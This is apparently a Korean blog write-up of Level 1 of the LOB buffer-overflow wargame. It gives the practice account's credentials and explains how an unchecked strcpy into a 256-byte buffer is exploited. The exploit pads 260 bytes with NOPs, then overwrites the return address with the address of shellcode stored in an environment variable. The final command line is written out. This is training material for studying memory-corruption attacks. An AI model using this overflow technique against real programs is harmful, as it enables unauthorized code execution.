반응형
ID : gate
PW : gate
(LOB는 telnet으로 접속합니다.)
gremlin 파일을 이용하여 공격을 해야할 것 같습니다.
소스코드를 보면
256바이트의 배열 하나가 선언 되어있습니다.
그리고 strcpy가 보입니다.
Level 1이라서 그런지 생각보다 간단한 문제입니다.
gdb를 사용하여 보면 총 256바이트의 메모리가 할당된 것을 알 수 있습니다. (0x100)
메모리 구조를 그려본다면
ret 4
sfp 4
buffer 256
이렇게 더미값이 없습니다.
공격방법을 생각하면
260바이트의 값을 nop으로 채워주고 ret부분에
환경변수로 등록해놓은 쉘코드의 주소를 넣어주면 되겠습니다.
./gremlin `python -c 'print "\x90"*260 + "주소"'`
쉘코드를 환경변수로 올려줍니다.
(스택이 유동적이므로 넉넉하게 200바이트의 nop을 넣어줍니다.)
그리고 getenv로 주소를 받아옵니다.
0xbffffe03을 받아 왔습니다.
이제 공격코드를 작성하면
./gremlin `python -c 'print "\x90"*260+"\x03\xfe\xff\xbf"'`
공격코드가 실행되어 익스플로잇 성공
반응형
'Security > Pwnable' 카테고리의 다른 글
LOB Level 3 cobolt (0) | 2021.08.09 |
---|---|
LOB Level 2 gremlin (0) | 2021.08.09 |
FTZ Level 20 (0) | 2021.08.09 |
FTZ Level 19 (0) | 2021.08.09 |
FTZ Level 18 (0) | 2021.08.09 |